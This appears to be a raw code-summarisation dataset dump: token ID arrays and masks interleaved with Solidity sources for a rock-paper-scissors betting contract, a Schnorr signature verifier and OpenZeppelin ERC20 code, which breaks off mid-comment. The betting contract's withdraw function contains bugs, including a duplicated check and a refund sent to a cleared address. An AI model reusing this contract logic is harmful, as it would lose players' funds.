[ 1, 565, 445, 7186, 12, 11890, 28, 1965, 16, 2254, 28, 3643, 13, 1071, 288, 203, 3639, 2583, 12, 3576, 18, 15330, 631, 8443, 1769, 203, 203, 3639, 2583, 12, 3188, 32, 25, 1769, 203, 203, 203, 3639, 2583, 12, 3338, 1545, 7186, 950, 63, 2260, 19226, 203, 540, 203, 3639, 2583, 12, 5, 26226, 1564, 63, 3188, 14, 3462, 15, 2260, 19226, 203, 3639, 7186, 1564, 63, 3188, 14, 3462, 15, 2260, 65, 273, 638, 31, 203, 203, 3639, 389, 70, 321, 12, 2867, 12, 2211, 3631, 7186, 6275, 63, 3188, 65, 380, 261, 2163, 2826, 2254, 5034, 12, 31734, 1435, 3719, 1769, 203, 3639, 389, 81, 474, 12, 3576, 18, 15330, 16, 7186, 6275, 63, 3188, 65, 380, 261, 2163, 2826, 2254, 5034, 12, 31734, 1435, 3719, 1769, 203, 565, 289, 203, 377, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.10; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; contract GameContract { uint256 constant SCISSORS = 1; uint256 constant ROCK = 2; uint256 constant PAPER = 3; enum RESULT_TYPE { UNDECIDED, WIN_1, DRAW, WIN_2 } enum ROOM_STATUS { EMPTY, ONE_PERSON, FULL, PLAYED } struct Room { uint256 id; address address_1; address address_2; uint256 betAmount; ROOM_STATUS status; RESULT_TYPE result; //Token will be used in the room string token; // Player's option in hashcode bytes32 hashcode_1; bytes32 hashcode_2; // Player's option in number (rock, scissors, paper), set after sending secret key // if choose = 0 => player haven't sent secret key uint256 choose_1; uint256 choose_2; // Check if a player sent secret key or not bool[2] checks; } struct Currency { address addressToken; string symbol; } uint256 public feeRatePercentage; mapping(string => address) listToken; // Array include list of token using in game Currency[] public arrCurrency; Room[] public rooms; // Keep track of opened room number uint256 public roomNumber; // Check number of opening rooms (1 person) uint256 public openingRoomNumber; // Check if someone is already a owner of a opening room or not // If they were, stop them from opening a new one mapping(address => uint256) public ownerCount; // Check number of rooms a player has joined mapping(address => uint256) public playerRoomsCount; event CreateRoom(Room _room); event JoinRoom(Room _room); event MakeResult(Room _room); event Withdraw(Room _room, address _player); address owner; constructor(uint256 _feeRatePercentage) { owner = msg.sender; feeRatePercentage = _feeRatePercentage; } //Check balance of contract corresponding to each token function balance(string memory _token) public view returns (uint256) { if (sha256(bytes(_token)) == sha256(bytes(""))) { return address(this).balance; } else { return ERC20(listToken[_token]).balanceOf(address(this)); } } //Add token in game function addCurrency(address _addressToken) public { require(msg.sender == owner, "You are not allowed"); string memory _symbol = ERC20(_addressToken).symbol(); arrCurrency.push(Currency(_addressToken, _symbol)); listToken[_symbol] = _addressToken; } function getCurrencies() public view returns (Currency[] memory) { return arrCurrency; } // Check number of opening room function getOpeningRooms() public view returns (Room[] memory) { Room[] memory results = new Room[](openingRoomNumber); uint256 rid = 0; for (uint256 i; i < roomNumber; i++) { if (rooms[i].status == ROOM_STATUS.ONE_PERSON) { results[rid] = rooms[i]; rid += 1; } } return results; } function getPlayerRooms(address _player) public view returns (Room[] memory) { uint256 count = playerRoomsCount[_player]; Room[] memory results = new Room[](count); uint256 rid = 0; for (uint256 i; i < roomNumber; i++) { if ( rooms[i].address_1 == _player || rooms[i].address_2 == _player ) { results[rid] = rooms[i]; rid += 1; } } return results; } // Send bet amount to create a room function createRoom(string memory _token) public payable { require( ownerCount[msg.sender] <= 10, "You have already reached to limit." ); require(msg.value > 0, "Bet amount must greater than 0"); checkValidToken(_token, msg.value); Room memory room; room.id = roomNumber; room.status = ROOM_STATUS.ONE_PERSON; room.address_1 = msg.sender; room.betAmount = msg.value; room.token = _token; rooms.push(room); ownerCount[msg.sender] += 1; playerRoomsCount[msg.sender] += 1; openingRoomNumber += 1; roomNumber += 1; emit CreateRoom(room); } // Player send option here to join a room function sendHashcode(uint256 _id, bytes32 _hashcode) public payable { Room storage room = rooms[_id]; // With room owner: Only send option if room is full (after other player sent hashcode) if (room.address_1 == msg.sender) { require(room.status == ROOM_STATUS.FULL, "Room is unavailable"); require( !room.checks[1], "You can not send hashcode after the second player have already secret code" ); room.hashcode_1 = _hashcode; } // With guest player: Only send option if room has one person else { require( !room.checks[0], "You can not send hashcode after room owner have already secret code" ); require( room.status == ROOM_STATUS.ONE_PERSON, "Room is unavailable" ); require( msg.value == room.betAmount, "You must bet equal in the first 1" ); checkValidToken(room.token, room.betAmount); room.status = ROOM_STATUS.FULL; room.hashcode_2 = _hashcode; room.address_2 = msg.sender; playerRoomsCount[msg.sender] = playerRoomsCount[msg.sender] + 1; openingRoomNumber -= 1; emit JoinRoom(room); } } // Hàm rút tiền . Một trong 2 người chơi đều có quyền rút tiền khi 1 trong 2 chưa gửi key bí mật lên hợp đồng. // Nếu chủ phòng là người rút thì tiền cược 2 người chơi sẽ về lại tài khoản của họ và phòng trở về trạng thái available // Nếu người chơi 2 rút tiền thì họ sẽ nhận lại tiền và phòng trở về trạng thái 1. function withdraw(uint256 _id) public payable { Room storage room = rooms[_id]; require( msg.sender == room.address_1 || msg.sender == room.address_2, "You are not players in this room" ); require(!room.checks[0] && !room.checks[0], "You can not withdraw"); uint256 withdrawAmountMinusFee = (room.betAmount / 100) * (100 - feeRatePercentage); if (msg.sender == room.address_1) { transferToken(room.address_1, room.token, withdrawAmountMinusFee); if (room.status == ROOM_STATUS.FULL) { // If this room has 2 players, send money back to both of them transferToken( room.address_2, room.token, withdrawAmountMinusFee ); } else if (room.status == ROOM_STATUS.ONE_PERSON) { openingRoomNumber -= 1; } room.status = ROOM_STATUS.EMPTY; ownerCount[msg.sender] -= 1; } else if (msg.sender == room.address_2) { room.status = ROOM_STATUS.ONE_PERSON; openingRoomNumber += 1; // Delete player 2 data in this room room.address_2 = address(0); room.hashcode_2 = ""; transferToken(room.address_2, room.token, withdrawAmountMinusFee); playerRoomsCount[msg.sender] = playerRoomsCount[msg.sender] - 1; } emit Withdraw(room, msg.sender); } // After both players sent hashcode, continue by sending secret code function sendSecret(uint256 _id, string memory _secretCode) public payable { Room storage room = rooms[_id]; require(room.status == ROOM_STATUS.FULL, "Room is unavailable"); // Find sender's option by secret key if (msg.sender == room.address_1) { uint256 choose = getPlayerOption(_secretCode, room.hashcode_1); require(choose > 0, "the first secret code is wrong"); room.checks[0] = true; room.choose_1 = choose; } else if (msg.sender == room.address_2) { require( room.hashcode_1 != "", "Player 1 haven't sent option. Please wait." ); uint256 choose = getPlayerOption(_secretCode, room.hashcode_2); require(choose > 0, "the second secret code is wrong"); room.checks[1] = true; room.choose_2 = choose; } // If both players sent secret key, make result and send money to winner if (room.checks[0] && room.checks[1]) { room.result = getResult(room.choose_1, room.choose_2); room.status = ROOM_STATUS.PLAYED; ownerCount[room.address_1] = 0; uint256 betAmountMinusFee = ((room.betAmount * 2) / 100) * (100 - feeRatePercentage); if (room.result == RESULT_TYPE.DRAW) { transferToken( room.address_1, room.token, betAmountMinusFee / 2 ); transferToken( room.address_2, room.token, betAmountMinusFee / 2 ); } else if (room.result == RESULT_TYPE.WIN_1) { transferToken(room.address_1, room.token, betAmountMinusFee); } else if (room.result == RESULT_TYPE.WIN_2) { transferToken(room.address_2, room.token, betAmountMinusFee); } emit MakeResult(room); } } function checkValidToken(string memory _token, uint256 _amount) private { if (sha256(bytes(_token)) != sha256(bytes(""))) { require(listToken[_token] != address(0), "Token is invalid"); require( ERC20(listToken[_token]).allowance(msg.sender, address(this)) == _amount, "You must call approve first in web3" ); require( ERC20(listToken[_token]).transferFrom( msg.sender, address(this), _amount ), "Transfer failed" ); } } function transferToken( address _address, string memory _tokenSymbol, uint256 _amount ) private { if (sha256(bytes(_tokenSymbol)) == sha256(bytes(""))) { payable(_address).transfer(_amount); } else { ERC20(listToken[_tokenSymbol]).transfer(_address, _amount); } } /** Pure functions **/ function getResult(uint256 _choose_1, uint256 _choose_2) private pure returns (RESULT_TYPE result) { if (_choose_1 == SCISSORS && _choose_2 == ROCK) { return RESULT_TYPE.WIN_2; } if (_choose_1 == SCISSORS && _choose_2 == PAPER) { return RESULT_TYPE.WIN_1; } if (_choose_1 == SCISSORS && _choose_2 == SCISSORS) { return RESULT_TYPE.DRAW; } if (_choose_1 == ROCK && _choose_2 == SCISSORS) { return RESULT_TYPE.WIN_1; } if (_choose_1 == ROCK && _choose_2 == PAPER) { return RESULT_TYPE.WIN_2; } if (_choose_1 == ROCK && _choose_2 == ROCK) { return RESULT_TYPE.DRAW; } if (_choose_1 == PAPER && _choose_2 == SCISSORS) { return RESULT_TYPE.WIN_2; } if (_choose_1 == PAPER && _choose_2 == PAPER) { return RESULT_TYPE.DRAW; } if (_choose_1 == PAPER && _choose_2 == ROCK) { return RESULT_TYPE.WIN_1; } } function getPlayerOption(string memory _secretCode, bytes32 _hashcode) private pure returns (uint256) { if (getHashcode(_secretCode, SCISSORS) == _hashcode) { return SCISSORS; } if (getHashcode(_secretCode, ROCK) == _hashcode) { return ROCK; } if (getHashcode(_secretCode, PAPER) == _hashcode) { return PAPER; } return 0; } function getHashcode(string memory _secretCode, uint256 _option) public pure returns (bytes32) { return sha256(bytes.concat(bytes(_secretCode), bytes(uint2str(_option)))); } function uint2str(uint256 _i) internal pure returns (string memory str) { if (_i == 0) { return "0"; } uint256 j = _i; uint256 length; while (j != 0) { length++; j /= 10; } bytes memory bstr = new bytes(length); uint256 k = length; j = _i; while (j != 0) { bstr[--k] = bytes1(uint8(48 + (j % 10))); j /= 10; } str = string(bstr); return str; } }
Token will be used in the room Player's option in hashcode Player's option in number (rock, scissors, paper), set after sending secret key if choose = 0 => player haven't sent secret key Check if a player sent secret key or not
struct Room { uint256 id; address address_1; address address_2; uint256 betAmount; ROOM_STATUS status; RESULT_TYPE result; string token; bytes32 hashcode_1; bytes32 hashcode_2; uint256 choose_1; uint256 choose_2; bool[2] checks; }
6,475,221
[ 1, 1345, 903, 506, 1399, 316, 326, 7725, 19185, 1807, 1456, 316, 31539, 19185, 1807, 1456, 316, 1300, 261, 26926, 16, 888, 1054, 1383, 16, 15181, 3631, 444, 1839, 5431, 4001, 498, 309, 9876, 273, 374, 516, 7291, 15032, 1404, 3271, 4001, 498, 2073, 309, 279, 7291, 3271, 4001, 498, 578, 486, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 1958, 27535, 288, 203, 3639, 2254, 5034, 612, 31, 203, 3639, 1758, 1758, 67, 21, 31, 203, 3639, 1758, 1758, 67, 22, 31, 203, 3639, 2254, 5034, 2701, 6275, 31, 203, 3639, 6525, 1872, 67, 8608, 1267, 31, 203, 3639, 17210, 67, 2399, 563, 31, 203, 3639, 533, 1147, 31, 203, 3639, 1731, 1578, 31539, 67, 21, 31, 203, 3639, 1731, 1578, 31539, 67, 22, 31, 203, 3639, 2254, 5034, 9876, 67, 21, 31, 203, 3639, 2254, 5034, 9876, 67, 22, 31, 203, 3639, 1426, 63, 22, 65, 4271, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0xA96D47c621a8316d4F9539E3B38180C7067e84CA/sources/AWP.sol
* @dev Checks if @param account has the role./
function isBurner(address account) public view returns (bool) { return _burners.has(account); }
3,571,841
[ 1, 4081, 309, 225, 2236, 711, 326, 2478, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 27057, 321, 264, 12, 2867, 2236, 13, 1071, 1476, 1135, 261, 6430, 13, 288, 203, 3639, 327, 389, 70, 321, 414, 18, 5332, 12, 4631, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.5.0; //////////////////////////////////////////////////////////////////////////////// // XXX: Do not use in production until this code has been audited. //////////////////////////////////////////////////////////////////////////////// contract SchnorrSECP256K1 { // See https://en.bitcoin.it/wiki/Secp256k1 for this constant. uint256 constant public Q = // Group order of secp256k1 // solium-disable-next-line indentation 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141; // solium-disable-next-line zeppelin/no-arithmetic-operations uint256 constant public HALF_Q = (Q >> 1) + 1; /** ************************************************************************** @notice verifySignature returns true iff passed a valid Schnorr signature. @dev See https://en.wikipedia.org/wiki/Schnorr_signature for reference. @dev In what follows, let d be your secret key, PK be your public key, PKx be the x ordinate of your public key, and PKyp be the parity bit for the y ordinate (i.e., 0 if PKy is even, 1 if odd.) ************************************************************************** @dev TO CREATE A VALID SIGNATURE FOR THIS METHOD @dev First PKx must be less than HALF_Q. Then follow these instructions (see evm/test/schnorr_test.js, for an example of carrying them out): @dev 1. Hash the target message to a uint256, called msgHash here, using keccak256 @dev 2. Pick k uniformly and cryptographically securely randomly from {0,...,Q-1}. It is critical that k remains confidential, as your private key can be reconstructed from k and the signature. @dev 3. Compute k*g in the secp256k1 group, where g is the group generator. (This is the same as computing the public key from the secret key k. But it's OK if k*g's x ordinate is greater than HALF_Q.) @dev 4. Compute the ethereum address for k*g. This is the lower 160 bits of the keccak hash of the concatenated affine coordinates of k*g, as 32-byte big-endians. (For instance, you could pass k to ethereumjs-utils's privateToAddress to compute this, though that should be strictly a development convenience, not for handling live secrets, unless you've locked your javascript environment down very carefully.) Call this address nonceTimesGeneratorAddress. @dev 5. Compute e=uint256(keccak256(PKx as a 32-byte big-endian ‖ PKyp as a single byte ‖ msgHash ‖ nonceTimesGeneratorAddress)) This value e is called "msgChallenge" in verifySignature's source code below. Here "‖" means concatenation of the listed byte arrays. @dev 6. Let x be your secret key. Compute s = (k - d * e) % Q. Add Q to it, if it's negative. This is your signature. (d is your secret key.) ************************************************************************** @dev TO VERIFY A SIGNATURE @dev Given a signature (s, e) of msgHash, constructed as above, compute S=e*PK+s*generator in the secp256k1 group law, and then the ethereum address of S, as described in step 4. Call that nonceTimesGeneratorAddress. Then call the verifySignature method as: @dev verifySignature(PKx, PKyp, s, msgHash, nonceTimesGeneratorAddress) ************************************************************************** @dev This signging scheme deviates slightly from the classical Schnorr signature, in that the address of k*g is used in place of k*g itself, both when calculating e and when verifying sum S as described in the verification paragraph above. This reduces the difficulty of brute-forcing a signature by trying random secp256k1 points in place of k*g in the signature verification process from 256 bits to 160 bits. However, the difficulty of cracking the public key using "baby-step, giant-step" is only 128 bits, so this weakening constitutes no compromise in the security of the signatures or the key. @dev The constraint signingPubKeyX < HALF_Q comes from Eq. (281), p. 24 of Yellow Paper version 78d7b9a. ecrecover only accepts "s" inputs less than HALF_Q, to protect against a signature- malleability vulnerability in ECDSA. Schnorr does not have this vulnerability, but we must account for ecrecover's defense anyway. And since we are abusing ecrecover by putting signingPubKeyX in ecrecover's "s" argument the constraint applies to signingPubKeyX, even though it represents a value in the base field, and has no natural relationship to the order of the curve's cyclic group. ************************************************************************** @param signingPubKeyX is the x ordinate of the public key. This must be less than HALF_Q. @param pubKeyYParity is 0 if the y ordinate of the public key is even, 1 if it's odd. @param signature is the actual signature, described as s in the above instructions. @param msgHash is a 256-bit hash of the message being signed. @param nonceTimesGeneratorAddress is the ethereum address of k*g in the above instructions ************************************************************************** @return True if passed a valid signature, false otherwise. */ function verifySignature( uint256 signingPubKeyX, uint8 pubKeyYParity, uint256 signature, uint256 msgHash, address nonceTimesGeneratorAddress) external pure returns (bool) { require(signingPubKeyX < HALF_Q, "Public-key x >= HALF_Q"); // Avoid signature malleability from multiple representations for ℤ/Qℤ elts require(signature < Q, "signature must be reduced modulo Q"); // Forbid trivial inputs, to avoid ecrecover edge cases. The main thing to // avoid is something which causes ecrecover to return 0x0: then trivial // signatures could be constructed with the nonceTimesGeneratorAddress input // set to 0x0. // // solium-disable-next-line indentation require(nonceTimesGeneratorAddress != address(0) && signingPubKeyX > 0 && signature > 0 && msgHash > 0, "no zero inputs allowed"); // solium-disable-next-line indentation uint256 msgChallenge = // "e" // solium-disable-next-line indentation uint256(keccak256(abi.encodePacked(signingPubKeyX, pubKeyYParity, msgHash, nonceTimesGeneratorAddress)) ); // Verify msgChallenge * signingPubKey + signature * generator == // nonce * generator // // https://ethresear.ch/t/you-can-kinda-abuse-ecrecover-to-do-ecmul-in-secp256k1-today/2384/9 // The point corresponding to the address returned by // ecrecover(-s*r,v,r,e*r) is (r⁻¹ mod Q)*(e*r*R-(-s)*r*g)=e*R+s*g, where R // is the (v,r) point. See https://crypto.stackexchange.com/a/18106 // // solium-disable-next-line indentation address recoveredAddress = ecrecover( // solium-disable-next-line zeppelin/no-arithmetic-operations bytes32(Q - mulmod(signingPubKeyX, signature, Q)), // https://ethereum.github.io/yellowpaper/paper.pdf p. 24, "The // value 27 represents an even y value and 28 represents an odd // y value." (pubKeyYParity == 0) ? 27 : 28, bytes32(signingPubKeyX), bytes32(mulmod(msgChallenge, signingPubKeyX, Q))); return nonceTimesGeneratorAddress == recoveredAddress; } }
* **************************************************************************
{0,...,Q-1}. It is critical that k remains confidential, as your
974,512
[ 1, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 2868, 288, 20, 16, 2777, 16, 53, 17, 21, 5496, 2597, 353, 11239, 716, 417, 22632, 2195, 350, 2001, 16, 487, 3433, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2022-04-09 */ // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/ERC20.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * 